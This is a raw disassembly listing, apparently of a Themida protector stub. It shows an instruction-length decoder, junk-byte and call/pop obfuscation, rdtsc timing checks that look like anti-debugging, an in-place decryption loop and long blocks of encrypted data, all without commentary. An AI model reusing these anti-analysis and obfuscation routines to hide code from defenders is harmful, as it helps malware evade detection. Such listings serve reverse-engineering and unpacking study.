lea eax, [ebp+7AD8B04h]
push eax
push esi
push 0
call sub_5DA027
add esp, 10h
and eax, 0FFh
mov [ebp+7AD8AB0h], eax
loc_5DA018: ; CODE XREF: Themida_:005D9FEFj
popa
add esi, [ebp+7AD8AB0h]
mov eax, [ebp+7AD8AACh]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5DA027 proc near ; CODE XREF: Themida_:005DA005p
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_7AD8AA4 = dword ptr 7AD8AACh
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_5DA054
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_5DA060
; ---------------------------------------------------------------------------
loc_5DA054: ; CODE XREF: sub_5DA027+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
loc_5DA060: ; CODE XREF: sub_5DA027+28j
push ebx
push esi
push edi
loc_5DA063: ; CODE XREF: sub_5DA027+91j
; sub_5DA027+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5DA076: ; CODE XREF: sub_5DA027+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 7AD8C16h
lea ebp, [ebp+7AD8A8Ch]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5DA0A3
inc cl
cmp cl, 0Bh
jb loc_5DA076
loc_5DA0A3: ; CODE XREF: sub_5DA027+6Bj
cmp cl, 0Bh
jz loc_5DA100
cmp al, 66h
jnz loc_5DA0E1
cmp [ebp+var_5], 0
jnz loc_5DA063
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_5DA0D9
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_5DA063
; ---------------------------------------------------------------------------
loc_5DA0D9: ; CODE XREF: sub_5DA027+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_5DA0E1: ; CODE XREF: sub_5DA027+87j
cmp al, 67h
jnz loc_5DA063
cmp [ebp+var_6], 0
jnz loc_5DA063
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_5DA063
; ---------------------------------------------------------------------------
loc_5DA100: ; CODE XREF: sub_5DA027+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5DA12C
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5DA131
; ---------------------------------------------------------------------------
loc_5DA12C: ; CODE XREF: sub_5DA027+E4j
movzx edi, al
shr edi, 1
loc_5DA131: ; CODE XREF: sub_5DA027+100j
push ebp
call $+5
pop ebp
sub ebp, 7AD8CCEh
lea ebp, [ebp+7AD898Ch]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_5DA2B3
mov ebx, [ebp+arg_4]
mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
jz loc_5DA1F7
dec ecx
jz loc_5DA1DA
dec ecx
jnz loc_5DA24A
cmp [ebp+var_2], 0
jnz loc_5DA246
cmp [ebp+var_5], 0
jz loc_5DA1B9
mov byte ptr [ebp+arg_0+3], 2
loc_5DA1B9: ; CODE XREF: sub_5DA027+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 7AD8D5Ah
mov [ebp+arg_7AD8AA4], 1
pop ebp
jmp loc_5DA24A
; ---------------------------------------------------------------------------
loc_5DA1DA: ; CODE XREF: sub_5DA027+16Dj
cmp [ebp+var_2], 0
jnz loc_5DA224
cmp [ebp+var_5], 0
jz loc_5DA224
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5DA224
; ---------------------------------------------------------------------------
loc_5DA1F7: ; CODE XREF: sub_5DA027+166j
cmp [ebp+var_2], 0
jnz loc_5DA23D
cmp [ebp+var_5], 0
jz loc_5DA22C
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5DA224
mov byte ptr [ebp+arg_0+3], cl
loc_5DA224: ; CODE XREF: sub_5DA027+1B7j
; sub_5DA027+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5DA24A
; ---------------------------------------------------------------------------
loc_5DA22C: ; CODE XREF: sub_5DA027+1DEj
cmp dl, 5
jnz loc_5DA24A
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5DA24A
; ---------------------------------------------------------------------------
loc_5DA23D: ; CODE XREF: sub_5DA027+1D4j
cmp dl, 6
jnz loc_5DA24A
loc_5DA246: ; CODE XREF: sub_5DA027+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5DA24A: ; CODE XREF: sub_5DA027+174j
; sub_5DA027+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_5DA278
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5DA25A: ; CODE XREF: sub_5DA027+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5DA25A
mov esi, edx
loc_5DA278: ; CODE XREF: sub_5DA027+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_5DA2AD
cmp edi, 7Fh
ja loc_5DA2AD
test bl, 38h
jnz loc_5DA2AD
cmp [ebp+var_7], 0
jz loc_5DA2A7
movzx eax, [ebp+var_4]
jmp loc_5DA2AA
; ---------------------------------------------------------------------------
loc_5DA2A7: ; CODE XREF: sub_5DA027+271j
push 1
pop eax
loc_5DA2AA: ; CODE XREF: sub_5DA027+27Bj
mov [ebp+var_1], al
loc_5DA2AD: ; CODE XREF: sub_5DA027+255j
; sub_5DA027+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6]
loc_5DA2B3: ; CODE XREF: sub_5DA027+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5DA2DE
dec eax
dec eax
jz loc_5DA2D4
and bl, 7
add [ebp+var_1], bl
jmp loc_5DA2E6
; ---------------------------------------------------------------------------
loc_5DA2D4: ; CODE XREF: sub_5DA027+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_5DA2E3
; ---------------------------------------------------------------------------
loc_5DA2DE: ; CODE XREF: sub_5DA027+294j
mov al, [ebp+var_3]
add al, 4
loc_5DA2E3: ; CODE XREF: sub_5DA027+2B2j
add [ebp+var_1], al
loc_5DA2E6: ; CODE XREF: sub_5DA027+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_5DA30E
movzx ecx, [ebp+var_1]
inc ecx
loc_5DA2F9: ; CODE XREF: sub_5DA027+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5DA2F9
loc_5DA30E: ; CODE XREF: sub_5DA027+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_5DA027 endp
; ---------------------------------------------------------------------------
lea eax, [ebp+7AD8B59h]
mov [ebp+7A803D5h], eax
lea ecx, [ebp+7AD8FB7h]
push 0
push ebp
call sub_5DA332
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DA332 proc near ; CODE XREF: Themida_:005DA32Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5DA332 endp
; ---------------------------------------------------------------------------
dw 4C42h
dd 0BD8910F3h, 7A8223Dh, 6657D480h, 0BDC3EE81h, 17318D89h
dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 2C9DAEC3h, 85C75852h, 7A80A59h, 704Ch, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 4CC35343h, 0AE9h
dd 23544700h, 70E2AF2Bh, 0BE5C2761h, 5E340B90h, 93985C7h
dd 7A8h, 810F0000h, 6, 2EDB509h, 0BD8B07A8h, 7A8215Dh
dd 0AFDB5FFh, 6A07A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0BB6600C3h, 95FFD115h, 7A81A99h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DAC35343h
dd 0FF006ADFh, 0A80D2195h, 0EBC08B07h, 0DC1D4928h, 0F233235Ch
dd 6EC67886h, 6FBE066Eh, 2490D367h, 74C13858h, 2B540FB8h
dd 0D350D0AEh, 5E900DABh, 0B87C5E2Eh, 13CE947h, 4Fh dup(0)
dd 0BD830000h, 7A80DFDh, 0BC840F01h, 60000005h, 8BCE8051h
dd 0E961F95Bh, 11h, 62FAA03Ah, 0DB7313BEh, 5BD74A33h, 66F1A996h
dd 1985C6E2h, 4307A806h, 4E8FCh, 0D0F50000h, 5250ECA5h
dd 61605250h, 6160310Fh, 310F585Ah, 14E9h, 0DDBCF100h
dd 81F875DBh, 492EE38Ch, 982B1E5Ch, 24BB1240h, 50585AA5h
dd 0B8D0Fh, 6E90000h, 21000000h, 0AD6F641Dh, 24448BCAh
dd 50525004h, 0F525052h, 0F585A31h, 12E931h, 45E50000h
dd 0FDDA093Fh, 0E84259C6h, 0A27C082Fh, 0D139C3C8h, 310F585Ah
dd 860F5250h, 0
dd 8A0F310Fh, 0
; ---------------------------------------------------------------------------
pop edx
pop eax
pop edx
pop eax
loc_5DA644: ; CODE XREF: Themida_:005DA69Cj
mov eax, [eax]
jmp loc_5DA657
; ---------------------------------------------------------------------------
xchg eax, esi
sbb eax, 0D5191AB3h
retn
; ---------------------------------------------------------------------------
dw 1AB4h
db 74h, 7Bh, 0A9h
; ---------------------------------------------------------------------------
loc_5DA657: ; CODE XREF: Themida_:005DA646j
mov [esp+4], eax
push eax
push edx
pusha
mov dx, 0F6B0h
jmp loc_5DA673
; ---------------------------------------------------------------------------
db 0D5h
dd 0CD9E0871h, 0A5A3408Fh
db 3, 3Eh, 0F3h
; ---------------------------------------------------------------------------
loc_5DA673: ; CODE XREF: Themida_:005DA662j
popa
rdtsc
pusha
mov ah, bl
push eax
push edx
rdtsc
pop edx
pop eax
popa
pop edx
pop eax
pop eax
cld
push dword ptr [ebp+7A80CE1h]
cmc
lea eax, [ebp+7AB781Ah]
jnz loc_5DA6A8
jmp loc_5DA6A8
; ---------------------------------------------------------------------------
jz short loc_5DA644
push esi
db 67h
xor dl, 85h
das
scasd
inc ax
push eax
loc_5DA6A8: ; CODE XREF: Themida_:005DA691j
; Themida_:005DA697j
call eax
push 0
push ecx
call sub_5DA6B5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DA6B5 proc near ; CODE XREF: Themida_:005DA6ADp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5DA6B5 endp
; ---------------------------------------------------------------------------
sbb eax, 0ED7EAD9Bh
jmp loc_5DA6D5
; ---------------------------------------------------------------------------
db 9Bh
dd 6BB2441h
db 0A1h
; ---------------------------------------------------------------------------
loc_5DA6D5: ; CODE XREF: Themida_:005DA6CAj
mov [ebp+7A81569h], eax
jmp loc_5DA6F1
; ---------------------------------------------------------------------------
dd 2864884Eh, 0E6C55807h, 6F71B2ACh, 92F366F0h
db 6Bh
; ---------------------------------------------------------------------------
loc_5DA6F1: ; CODE XREF: Themida_:005DA6DBj
mov byte ptr [ebp+7A80619h], 50h
jb loc_5DA6FF
clc
loc_5DA6FF: ; CODE XREF: Themida_:005DA6F8j
call near ptr loc_5DA707+1
push esi
lodsd
lodsd
loc_5DA707: ; CODE XREF: Themida_:loc_5DA6FFp
test al, 60h
mov ah, dl
push edx
mov esi, 65C1EA1Bh
pop esi
popa
push eax
push eax
push edx
push eax
push edx
jmp loc_5DA72B
; ---------------------------------------------------------------------------
db 8Ch, 0ABh, 0F4h
dd 77474EA5h, 0DA5C65B5h
db 52h, 45h, 0E6h
; ---------------------------------------------------------------------------
loc_5DA72B: ; CODE XREF: Themida_:005DA718j
rdtsc
pusha
popa
pop edx
pop eax
rdtsc
jns loc_5DA74B
jmp loc_5DA74B
; ---------------------------------------------------------------------------
dw 3CEh
dd 71A0D7D9h, 6C25C4EDh
db 90h
db 87h, 7Eh
; ---------------------------------------------------------------------------
loc_5DA74B: ; CODE XREF: Themida_:005DA733j
; Themida_:005DA739j
pop edx
pop eax
mov eax, [esp+4]
jmp loc_5DA767
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0A0h
dd 61C33025h, 0E69D18F0h, 3FBD4C34h
db 0F1h, 0BCh, 0DDh
; ---------------------------------------------------------------------------
loc_5DA767: ; CODE XREF: Themida_:005DA751j
mov eax, [eax]
jo loc_5DA77B
jp loc_5DA77B
jge $+6
loc_5DA77B: ; CODE XREF: Themida_:005DA769j
; Themida_:005DA76Fj
mov [esp+4], eax
jno loc_5DA78D
pusha
mov cx, 0CD2Ch
loc_5DA78A: ; CODE XREF: Themida_:005DA7B9j
mov esi, edx
popa
loc_5DA78D: ; CODE XREF: Themida_:005DA77Fj
pop eax
cld
push dword ptr [ebp+7A80CE1h]
jmp loc_5DA7AD
; ---------------------------------------------------------------------------
and al, 9Eh
mov cl, 64h
retn
; ---------------------------------------------------------------------------
db 35h
dd 0E0089377h, 8D2708E0h, 0ADA1CF05h
db 0DCh
; ---------------------------------------------------------------------------
loc_5DA7AD: ; CODE XREF: Themida_:005DA795j
lea eax, [ebp+7AB781Ah]
jmp loc_5DA7BF
; ---------------------------------------------------------------------------
push esi
jmp short loc_5DA78A
; ---------------------------------------------------------------------------
db 0B7h
db 95h, 0E8h, 38h
; ---------------------------------------------------------------------------
loc_5DA7BF: ; CODE XREF: Themida_:005DA7B3j
call eax
stc
mov [ebp+7A81CDDh], eax
push 0
push ebp
call sub_5DA7D3
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DA7D3 proc near ; CODE XREF: Themida_:005DA7CBp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5DA7D3 endp
; ---------------------------------------------------------------------------
db 17h
dd 0AA98E5FEh, 0EDA6DDA9h, 6568F873h, 50881771h, 0BA666052h
dd 0CB62A20h, 0F310F61h, 68Ah, 8F0F00h, 5A000000h, 24048158h
dd 687836CAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 26C35545h, 0ABB68941h, 0E1B5FF46h, 0F07A80Ch, 1883h
dd 13E900h, 82440000h, 0BB58FDCCh, 1D6B6AAAh, 61C8D036h
dd 9159070Fh, 1A858D59h, 0F907AB78h, 12E9h, 29BEB800h
dd 0DDDFC758h, 9AC5744Ch, 5E68C42Ah, 0FF0AA2B6h, 0B8F0FD0h
dd 60000000h, 0FF8B70Fh, 86h, 85896100h, 7A81841h, 13E9h
dd 0FE7A6D00h, 0F343E152h, 0BAAE7559h, 823C8108h, 25884514h
dd 61985C6h, 605007A8h, 0E86EF680h, 0Ah, 606CD588h, 12825A15h
dd 12E97AF5h, 6C000000h, 6102EF8h, 1EBF4678h, 268BC9A4h
dd 3ED15D0Dh, 686159B1h, 0F0CF80BDh, 88C0Fh, 8E0F0000h
dd 2, 34816160h, 535CEB24h, 1A810F67h, 60000000h, 0EE8h
dd 77FB8C00h, 0C99F8209h, 0EF120C2Ch, 5FBB8E38h, 4631B966h
dd 95B5FF61h, 6007A818h, 0BE9h, 24F49C00h, 0B7E2348Ch
dd 0C661414Eh, 0DEA9B860h, 0F3815C07h, 597454A7h, 13E96161h
dd 0E5000000h, 2399BE28h, 737B769Eh, 0C7BFC543h, 99A46EDCh
dd 858DA359h, 7A83BDFh, 1870FFCh, 0F9000000h, 0E960D0FFh
dd 14h, 9BA281B6h, 953B28D8h, 0AA3F9094h, 0AA7EE086h, 3F6C85Fh
dd 9340BE66h, 188F0F61h, 0F000000h, 1285h, 0DE900h, 0A3A40000h
dd 0D0F10B29h, 0F992C93Dh, 89457934h, 0A807D985h, 0E9616007h
dd 1ABh, 64F18060h, 0D81228BFh, 7E9616Ch, 0ED000000h, 0B11814D7h
dd 0E9951D5Eh, 12h, 0E7D4E15Dh, 6B56EAFh, 81C5458Bh, 2AE4D8D7h
dd 0F5078EEh, 0F89h, 0AE900h, 3D9C0000h, 2F41543Dh, 481A606Bh
dd 0EC8BF895h, 18B0Fh, 83F80000h, 6AFCC4h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0A5479CC3h
dd 14E9FFh, 0FDA10000h, 50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch
dd 5B24E14Dh, 0E9603EADh, 10h, 1E30AAB9h, 3C270157h, 0FD7DADC8h
dd 0A735F3DFh, 0E8h, 0EA815A00h, 7AD95E8h, 0FC45C7h, 83000000h
dd 0A80DFDBAh, 840F0107h, 98h, 6A006A52h, 6992FF0Fh, 5A07A815h
dd 8FE98289h, 9A8D07ADh, 7AD8FEDh, 2803C752h, 53000001h
dd 0DD92FF50h, 5A07A81Ch, 0ED9A8D52h, 5307AD8Fh, 8FE9B2FFh
dd 92FF07ADh, 7A807D9h, 74C00B5Ah, 0ED9A8D50h, 8D07AD8Fh
dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h, 4558452Eh
dd 348DEE75h, 0C752B39h, 0E5BA8Dh, 4D8B07A8h, 32A4F30Ch
dd 0FF52AAC0h, 828D0875h, 7A800E5h, 4192FF50h, 5A07A818h
dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0
; ---------------------------------------------------------------------------
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5DAB17
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DAB17 proc near ; CODE XREF: Themida_:005DAB0Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5DAB17 endp
; ---------------------------------------------------------------------------
rol edx, cl
jmp loc_5DAB35
; ---------------------------------------------------------------------------
dw 6677h
dd 0EB4F0DD8h
; ---------------------------------------------------------------------------
xchg eax, esi
loc_5DAB35: ; CODE XREF: Themida_:005DAB29j
pusha
jmp loc_5DAB45
; ---------------------------------------------------------------------------
xor [ebx-44h], ah
push edi
pop ds
add eax, [bx+si+17h]
pop ebx
loc_5DAB45: ; CODE XREF: Themida_:005DAB36j
mov di, 700Eh
popa
jmp loc_5DAB57
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
sbb cl, [ecx]
scasd
shr byte ptr [ebx+63h], 1
dec ecx
loc_5DAB57: ; CODE XREF: Themida_:005DAB4Aj
mov edx, edx
call near ptr loc_5DAB60+5
std
sahf
loc_5DAB60: ; CODE XREF: Themida_:005DAB59p
sub [ecx-34D3532h], dh
pop ebx
add ebx, 62D3h
mov edx, 11CCD3DBh
mov edi, 0
mov edx, ebx
loc_5DAB79: ; CODE XREF: Themida_:loc_5DAC20j
mov ecx, [ebx+edi]
jg $+6
xor ecx, 12DCC4Eh
jmp loc_5DAB95
; ---------------------------------------------------------------------------
db 99h, 0CEh, 0E2h
dd 0E6A1A659h
db 0
; ---------------------------------------------------------------------------
loc_5DAB95: ; CODE XREF: Themida_:005DAB88j
add ecx, 3B49F695h
add ecx, 2F9F129h
call near ptr loc_5DABAA+2
pop es
imul edi, eax, 27h
loc_5DABAA: ; CODE XREF: Themida_:005DABA1p
cmp eax, 0EBE6686h
lahf
pop eax
push ecx
movzx esi, cx
pop dword ptr [ebx+edi]
movzx eax, cx
jmp loc_5DABC6
; ---------------------------------------------------------------------------
jbe short loc_5DABE6
test byte ptr [edi+6Fh], 0F6h
loc_5DABC6: ; CODE XREF: Themida_:005DABBBj
sub edi, 542B0B96h
jle loc_5DABDA
push esi
sbb edx, 6979E9B9h
pop esi
loc_5DABDA: ; CODE XREF: Themida_:005DABCCj
add edi, 542B0B92h
jb loc_5DABE9
loc_5DABE6: ; CODE XREF: Themida_:005DABC0j
movzx esi, cx
loc_5DABE9: ; CODE XREF: Themida_:005DABE0j
cmp edi, 0FFFF9E00h
jnz loc_5DAC09
stc
jmp loc_5DAC35
; ---------------------------------------------------------------------------
xchg eax, edi
jmp short loc_5DAC7C
; ---------------------------------------------------------------------------
dw 7E83h
; ---------------------------------------------------------------------------
jmp short loc_5DAC79
; ---------------------------------------------------------------------------
dw 0E7F9h
; ---------------------------------------------------------------------------
mov edx, 17F67467h
loc_5DAC09: ; CODE XREF: Themida_:005DABEFj
jmp loc_5DAC20
; ---------------------------------------------------------------------------
dw 845Bh
dd 0EB894CE0h, 4D877578h, 6C7A8B4Dh, 9B350F7Fh
; ---------------------------------------------------------------------------
loc_5DAC20: ; CODE XREF: Themida_:loc_5DAC09j
jmp loc_5DAB79
; ---------------------------------------------------------------------------
db 0A3h, 0D6h, 9
dd 637AF033h, 85336C8Eh, 3821E246h
db 0C0h
; ---------------------------------------------------------------------------
loc_5DAC35: ; CODE XREF: Themida_:005DABF6j
call near ptr loc_5DAC48+4
movsb
inc esi
and ebx, ebp
push 6A19F9E1h
mov eax, 26EFA0B5h
loc_5DAC48: ; CODE XREF: Themida_:loc_5DAC35p
mov ecx, 0F20E74Fh
xchg ecx, [eax]
; ---------------------------------------------------------------------------
db 0
dd 0F570000h, 8Fh, 0F5E5B00h, 81h, 0D3C68100h, 81000068h
dd 50684CD3h, 687Ch, 8F0F0000h, 5
db 0BFh
; ---------------------------------------------------------------------------
loc_5DAC79: ; CODE XREF: Themida_:005DAC00j
dec eax
; ---------------------------------------------------------------------------
dw 8CBAh
; ---------------------------------------------------------------------------
loc_5DAC7C: ; CODE XREF: Themida_:005DABFCj
pop es
pop edx
mov ebx, 1866E147h
push dword ptr [edx+esi]
mov bl, cl
pop ecx
mov bx, 4359h
add ecx, 1978CED4h
movzx ebx, si
add ecx, 74B4C4F1h
push eax
jo $+6
pop eax
add ecx, 394FC7ABh
movzx ebx, ax
push ecx
jo loc_5DACB9
sub di, 7A91h
loc_5DACB9: ; CODE XREF: Themida_:005DACAEj
pop dword ptr [esi+edx]
mov eax, ebx
call near ptr loc_5DACCE+4
cmp dword ptr [edx+34h], 60h
dec ebp
sbb byte ptr [eax+64h], 0F8h
jbe short near ptr byte_5DACFB
loc_5DACCE: ; CODE XREF: Themida_:005DACBEp
mov ecx, 66740744h
sbb edi, 835B5832h
jmp far ptr 0Ah:0E9565703h
; ---------------------------------------------------------------------------
dd 83820000h, 49288622h, 0F9DE9706h, 8B4A585Fh, 0F8FA81C6h
dd 0FFFFF97h
db 85h, 86h, 0FFh
byte_5DACFB db 0FFh ; CODE XREF: Themida_:005DACCCj
dd 7E9FFh, 67800000h, 4D74549Ah, 0A68D8DCCh, 0E807AD99h
dd 13h, 2B1F6BFCh, 0A2A7004Bh, 3AD26B51h, 6E6FF76h, 518CEFE6h
dd 58C8CF80h, 1858B5Ah, 8907A80Eh, 0A817318Dh, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 461D7B48h, 89ECBACAh, 95897E4Bh, 7A81E31h, 0A5985C7h
dd 5BA007A8h, 66600000h, 0A79CC281h, 12E8h, 0F9EF5900h
dd 96A80AFh, 9948D15Fh, 5778ADC5h, 3332C32Bh, 0A81965B5h
dd 0C7615807h, 0A8093985h, 7, 95335700h, 7A80F31h, 0BDB5FF5Fh
dd 6A07A814h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0E654C351h, 0FE1549Dh, 18Eh, 95FFF800h
dd 7A81A99h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 79C35141h, 869D78C3h, 1ACC71D1h, 6830Fh, 9D8B0000h
dd 7A8325Dh, 95FF006Ah, 7A80D21h, 4FEBC08Bh, 0A8993585h
dd 1BDE69B4h, 4F431D26h, 0BD131041h, 0CFC2886Ch, 9A3C3924h
dd 126E221Bh, 0DAC255A9h, 7F571CF8h, 5074B00h, 6A2D21B1h
dd 0F4FADAF4h, 0AD7E6DAAh, 0ECDE80A3h, 1477A06Dh, 516CD478h
dd 941F4E0Dh, 3C9F8F52h, 1FD6B180h, 2C8EBCECh, 161D6413h
dd 802940BFh, 3DF00263h, 4C041671h, 0FF786A35h, 54FEBB70h
dd 0B183F885h, 10318685h, 90D316F1h, 721F1205h, 50371E88h
dd 0F93EBA32h, 3E31BB01h, 0F20D748Bh, 8C2D5205h, 0C75BBB35h
dd 0E3325365h, 0A911BB35h, 0BCB8E3F6h, 38B0BF11h, 3E2CBF11h
dd 4F71BB35h, 0A79534F6h, 0DA041A72h, 855CB5A5h, 5DD971B4h
dd 0D2E006B6h, 7331BC9Dh, 3E31B5B1h, 618EDD35h, 8DED52BFh
dd 4657BB35h, 6EA692E3h, 5CABA1B0h, 0A8A14332h, 278EDD67h
dd 3100B4D4h, 1F31B8B0h, 74BADD35h, 4C61E36Fh, 68572BFEh
dd 0DB436FBh, 923616ACh, 7FD9E835h, 1E31BB35h, 966A786Eh
dd 0E359F69h, 0DD359F71h, 0A031BB35h, 0E4BF7866h, 9E52A9EDh
dd 95B0DD09h, 0D7A17A21h, 1F31BB33h, 80C3A974h, 2E61893Bh
dd 0E331BB38h, 535C7D7Ch, 91D6853Ah, 0D760D94Ah, 3E5B2BCEh
dd 1F325366h, 0D411BB35h, 9BB8E0F6h, 0A7B0BF11h, 0F12CBF11h
dd 0AB72BB35h, 0D32176F6h, 32A1084h, 0E0D97EA7h, 270102A0h
dd 0D5D8DB32h, 6A31BB35h, 5FB1B9Fh, 0AA40244Fh, 0C6EAF71Fh
dd 0B62FC006h, 0C786B4E1h, 0DDF13054h, 29B0DD55h, 1B0EFF0h
dd 0A6BCACEBh, 45B2E154h, 7B999CCCh, 0BD38CE35h, 0B737BE88h
dd 9645BB32h, 7BAE865h, 0E335C18Dh, 74B43235h, 75361310h
dd 0D68198A8h, 65E24432h, 1A8C386Dh, 8F361333h, 9461AC41h
dd 0E335C18Dh, 74B43235h, 75361310h, 0D69CA9A8h, 65E24432h
dd 0C5B0DD6Dh, 8F5B979Fh, 0C7325367h, 0B911BB35h, 0A5B8E1F6h
dd 0BCB0BF11h, 7C2BBF11h, 6C73BB35h, 4A7A25F6h, 63F7AD09h
dd 4CC23053h, 6E330DF5h, 5CABBFA8h, 7DBC4232h, 7B9CC0AFh
dd 3E31B2DCh, 0B4EAF035h, 0C60FA2C0h, 17CE69F9h, 0E333363Ah
dd 21BABB35h, 0C66275B4h, 0BC3AB5A9h, 3E773F3Ah, 953EBB35h
dd 8F31BB30h, 0A6514355h, 0AEAC3654h, 0A036137Bh, 0A2C33053h
dd 7C31B88Dh, 6C31D135h, 1F31B8DDh, 4C6B9B35h, 0E365326Fh
dd 0C7753A31h, 0F131AE31h, 3B63F935h, 9FCEB362h, 0E686B455h
dd 6CF70362h, 0EE6E855Fh, 5D3D26B8h, 0A62BC98h, 0F131BB3Eh
dd 0FB838D1Ah, 63ABB3E8h, 61BB9035h, 64AB3EB8h, 5FBBBC98h
dd 453E6BCAh, 0E331BB32h, 0F130383Ah, 0F3C8BB35h, 57B5B4F5h
dd 3131BB35h, 1F31BDBAh, 0E3D83A35h, 4A0A5933h, 4B7FF6A8h
dd 0A48EDD32h, 0F8300338h, 0F43EBB35h, 3E31BB30h, 8FD33A53h
dd 80D24458h, 5ABC4282h, 0E49C2124h, 0F131B4DCh, 0DE7B1B35h
dd 3E8107DBh, 0B2ED562Ch, 698320D9h, 0F4AB3EB8h, 0C75BBC98h
dd 0E3325360h, 0AC11BB35h, 94B8E6F6h, 38B0BF11h, 3E2ABF11h
dd 4A74BB35h, 5C28BBF6h, 0A90543F7h, 35BADD59h, 7A576BCAh
dd 0F7F1B0E4h, 7C31D2B1h, 73AC3635h, 7536137Bh, 8CD9EA35h
dd 0E731BB35h, 6A68786Ch, 70359F79h, 0E2359F71h, 3D31BB35h
dd 0EA347864h, 0B3806D8Eh, 8FBAB452h, 7F31BB35h, 0E331BB36h
dd 1961BB5Fh, 0F831BB36h, 24F2E315h, 3A15FFBCh, 1B15FFB4h
dd 8F31BB22h, 74F2EB75h, 8583C695h, 3EF66CB4h, 0F3D858CAh
dd 831BB35h, 0C2DC8212h, 27FCCAB5h, 0E5727DA9h, 0C4D9EE35h
dd 0C331BB35h, 786C7868h, 79359F59h, 64359F71h, 7B31BB35h
dd 74097860h, 278AAFEh, 6AA84188h, 71BC3632h, 493616A8h
dd 727AE748h, 67183E06h, 0F11ABC9Dh, 0B83352F4h, 985D3D26h
